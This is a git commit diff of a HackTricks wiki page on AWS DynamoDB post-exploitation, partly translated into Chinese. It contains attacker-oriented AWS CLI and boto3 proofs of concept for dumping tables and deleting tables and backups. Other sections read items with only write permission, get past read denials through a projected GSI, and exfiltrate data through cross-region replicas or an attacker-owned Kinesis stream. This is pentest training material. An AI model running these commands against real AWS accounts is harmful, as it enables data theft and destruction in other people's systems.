mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# AWS - DynamoDB 后期利用
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
具有此权限的攻击者将能够 **通过主键从表中获取项目**(您不能仅请求表的所有数据)。这意味着您需要知道主键(您可以通过获取表元数据(`describe-table`)来获取此信息)。
|
||||
拥有此权限的攻击者将能够 **按主键从表中获取项**(你不能直接请求表的所有数据)。这意味着你需要知道主键(你可以通过获取表的元数据(`describe-table`)来获得)。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 通过在表中定位敏感信息间接提升权限
|
||||
**潜在影响:** 通过在表中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**与之前的权限类似,** 这允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值:
|
||||
**类似于之前的权限**,此权限允许潜在攻击者在知道要检索条目的主键时,从单个表中读取值:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
使用此权限,还可以使用 **`transact-get-items`** 方法,如下所示:
|
||||
有了此权限,也可以像下面这样使用 **`transact-get-items`** 方法:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**潜在影响:** 通过在表中定位敏感信息间接提升权限
|
||||
**潜在影响:** 通过在表中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**与之前的权限类似,** 这项权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用 [子集比较](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但唯一允许与主键(必须出现)进行的比较是 "EQ",因此您无法使用比较在请求中获取整个数据库。
|
||||
**与之前的权限类似**,该权限允许潜在攻击者在知道要检索条目的主键的情况下,从单个表读取值。它允许使用[部分比较](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但对必须出现的主键唯一允许的比较是 "EQ",因此你不能使用比较在一次请求中获取整个数据库。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,19 +107,19 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 通过在表中定位敏感信息间接提升权限
|
||||
**Potential Impact:** 通过在表中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
您可以使用此权限**轻松导出整个表**。
|
||||
您可以使用此权限来 **轻松 dump 整个表**。
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**潜在影响:** 通过在表中定位敏感信息进行间接权限提升
|
||||
**潜在影响:** 通过在表中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
您可以使用此权限**轻松导出整个表**。
|
||||
您可以使用此权限来 **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -129,13 +129,13 @@ aws dynamodb execute-statement \
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
但您需要指定主键及其值,因此这并不是很有用。
|
||||
但你需要为主键指定一个值,因此这并不是很有用。
|
||||
|
||||
**潜在影响:** 通过在表中定位敏感信息进行间接权限提升
|
||||
**潜在影响:** 通过在表中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
此权限将允许攻击者**将整个表导出到他选择的 S3 存储桶**:
|
||||
该权限将允许攻击者 **将整个表导出到其选择的 S3 bucket**:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
请注意,要使其正常工作,表需要启用时间点恢复,您可以通过以下方式检查表是否启用:
|
||||
注意,为了使此方法生效,表必须启用 point-in-time-recovery,你可以用以下命令检查表是否启用了它:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
如果它没有启用,您需要**启用它**,为此您需要**`dynamodb:ExportTableToPointInTime`**权限:
|
||||
如果它未启用,你需要**启用**它,为此你需要**`dynamodb:ExportTableToPointInTime`**权限:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**潜在影响:** 通过在表中定位敏感信息间接提升权限
|
||||
**Potential Impact:** Indirect privesc 通过在表中定位敏感信息
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
拥有这些权限的攻击者将能够**从备份中创建新表**(甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查**备份中的信息**,这些信息**可能不再在生产**表中。
|
||||
拥有这些权限,攻击者可以**从备份创建一个新表**(甚至可以创建一个备份,然后将其恢复到不同的表中)。随后,在拥有必要权限的情况下,他可以检查备份中的**信息**,这些信息**在生产表中已不再存在**。
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**潜在影响:** 通过在表备份中定位敏感信息间接提升权限
|
||||
**潜在影响:** 通过在表备份中定位敏感信息实现间接 privesc
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
此权限允许用户将**新项目添加到表中或用新项目替换现有项目**。如果具有相同主键的项目已经存在,**整个项目将被新项目替换**。如果主键不存在,将**创建**一个具有指定主键的新项目。
|
||||
此权限允许用户将 **新项添加到表中或用新项替换现有项**。如果具有相同主键的项已存在,则 **整个项将被新项替换**。如果主键不存在,则会 **创建** 具有指定主键的新项。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI 示例" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 通过能够在DynamoDB表中添加/修改数据,利用进一步的漏洞/绕过
|
||||
**潜在影响:** 通过能够在 DynamoDB 表中添加/修改数据来利用更多 vulnerabilities/bypasses
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
此权限允许用户**修改项目的现有属性或向项目添加新属性**。它**不会替换**整个项目;它只更新指定的属性。如果主键在表中不存在,该操作将**创建一个新项目**,并使用指定的主键设置更新表达式中指定的属性。
|
||||
此权限允许用户**修改项的现有属性或向项添加新属性**。它**不会替换**整个项;它仅更新指定的属性。如果表中不存在该主键,该操作将**使用指定的主键创建一个新项**,并设置更新表达式中指定的属性。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -230,7 +230,7 @@ aws dynamodb update-item --table <table_name> \
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AI 示例" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -242,62 +242,296 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 通过能够在DynamoDB表中添加/修改数据,利用进一步的漏洞/绕过。
|
||||
**潜在影响:** 通过能够在 DynamoDB 表中添加/修改数据,从而利用更多漏洞/绕过方法
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
拥有此权限的攻击者可以**删除DynamoDB表,导致数据丢失**。
|
||||
具有此权限的攻击者可以**删除 DynamoDB 表,导致数据丢失**。
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**潜在影响**:数据丢失和依赖于已删除表的服务中断。
|
||||
**Potential impact**: 数据丢失以及依赖被删除表的服务中断。
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
拥有此权限的攻击者可以**删除DynamoDB备份,可能导致在灾难恢复场景中数据丢失**。
|
||||
拥有此权限的攻击者可以**删除 DynamoDB 备份,可能在灾难恢复场景中导致数据丢失**。
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**潜在影响**:数据丢失和在灾难恢复场景中无法从备份中恢复。
|
||||
**Potential impact**: 数据丢失,并且在灾难恢复场景中无法从备份恢复。
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 测试这是否真的有效
|
||||
> TODO: 测试这是否真的可行
|
||||
|
||||
拥有这些权限的攻击者可以**在DynamoDB表上启用流,更新表以开始流式传输更改,然后访问流以实时监控表的更改**。这使攻击者能够监控和提取数据更改,可能导致数据泄露。
|
||||
具有这些权限的攻击者可以**在 DynamoDB 表上启用 stream,更新表以开始流式传输更改,然后访问该 stream 来实时监控表的更改**。这允许攻击者监控并 exfiltrate 数据更改,可能导致 data leak。
|
||||
|
||||
1. 在DynamoDB表上启用流:
|
||||
1. 在 DynamoDB 表上启用 stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. 描述获取 ARN 和其他细节的流:
|
||||
2. 描述流以获取 ARN 和其他详细信息:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. 使用流 ARN 获取分片迭代器:
|
||||
3. 使用流的 ARN 获取分片迭代器:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. 使用分片迭代器访问并提取流中的数据:
|
||||
4. 使用 shard iterator 访问并 exfiltrate 来自 stream 的数据:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**潜在影响**:对DynamoDB表更改的实时监控和数据泄漏。
|
||||
**潜在影响**: 对 DynamoDB 表的变更进行实时监控并导致数据泄露。
|
||||
|
||||
### 通过 `dynamodb:UpdateItem` 和 `ReturnValues=ALL_OLD` 读取项
|
||||
|
||||
攻击者仅对某张表拥有 `dynamodb:UpdateItem` 权限时,能够在没有常规读取权限(`GetItem`/`Query`/`Scan`)的情况下,通过执行一次无害的更新并请求 `--return-values ALL_OLD` 来读取项。DynamoDB 会在响应的 `Attributes` 字段中返回该项更新前的完整镜像(这不会消耗 RCUs)。
|
||||
|
||||
- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
|
||||
- Prerequisites: You must know the item's primary key.
|
||||
|
||||
示例 (adds a harmless attribute and exfiltrates the previous item in the response):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI 响应将包含一个 `Attributes` 块,包含完整的先前项(所有属性),从而有效地在仅写权限的情况下提供读取原语。
|
||||
|
||||
**潜在影响:** 在仅具有写权限的情况下从表中读取任意项,当主键已知时可导致敏感数据外泄。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
通过向 DynamoDB Global Table(版本 2019.11.21)添加新的副本 Region 实现隐蔽的数据外泄。如果主体可以添加区域副本,整张表将被复制到攻击者选择的 Region,攻击者即可从该 Region 读取所有项。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
权限:`dynamodb:UpdateTable`(带 `replica-updates`)或在目标表上具有 `dynamodb:CreateTableReplica`。如果复制副本使用 CMK,可能需要该密钥的 KMS 权限。
|
||||
|
||||
潜在影响:将整个表复制到攻击者控制的 Region,从而导致隐蔽的数据外泄。
|
||||
|
||||
### `dynamodb:TransactWriteItems` (通过失败的条件读取 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
具有事务性写入权限的攻击者可以通过在 `TransactWriteItems` 中执行一个 `Update`(该更新故意使 `ConditionExpression` 失败,并设置 `ReturnValuesOnConditionCheckFailure=ALL_OLD`)来导出现有项的完整属性。在失败时,DynamoDB 会在事务取消原因中包含之前的属性,从而将仅写入访问有效地转变为对目标键的读取访问。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
权限: `dynamodb:TransactWriteItems` 在目标表(及其基础项)上。无需读取权限。
|
||||
|
||||
潜在影响: 仅使用事务性写入权限,利用返回的取消原因即可按主键从表中读取任意项。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` 在 GSI 上
|
||||
|
||||
通过在低熵属性上创建具有 `ProjectionType=ALL` 的 Global Secondary Index (GSI) 来绕过读取限制,将该属性在所有项上设置为常量值,然后对索引执行 `Query` 以检索完整项。即使对基础表的 `Query`/`Scan` 被拒绝,只要你可以查询索引的 ARN,这种方法仍然可行。
|
||||
|
||||
- 最低权限:
|
||||
- `dynamodb:UpdateTable` 在目标表上(用于创建具有 `ProjectionType=ALL` 的 GSI)。
|
||||
- `dynamodb:UpdateItem` 在目标表键上(用于为每个项设置被索引的属性)。
|
||||
- `dynamodb:Query` 在索引资源 ARN 上(`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`)。
|
||||
|
||||
步骤(PoC 在 us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**潜在影响:** 通过查询一个新创建且投影所有属性的 GSI 来完全导出表数据,即使基础表的读取 API 被拒绝。
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (通过 Kinesis Data Streams 持续导出)
|
||||
|
||||
滥用 DynamoDB 的 Kinesis streaming destinations 将表的变更持续导出到攻击者控制的 Kinesis Data Stream。一旦启用,每个 INSERT/MODIFY/REMOVE 事件会被近实时地转发到该 stream,而无需表的读取权限。
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` 在目标表上
|
||||
- 可选地拥有 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` 以监控状态
|
||||
- 对攻击者拥有的 Kinesis stream 的读取权限以消费记录:`kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**潜在影响:** 持续、近实时的 exfiltration,将表更改发送到由攻击者控制的 Kinesis 流,而无需对该表进行直接读取操作。
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user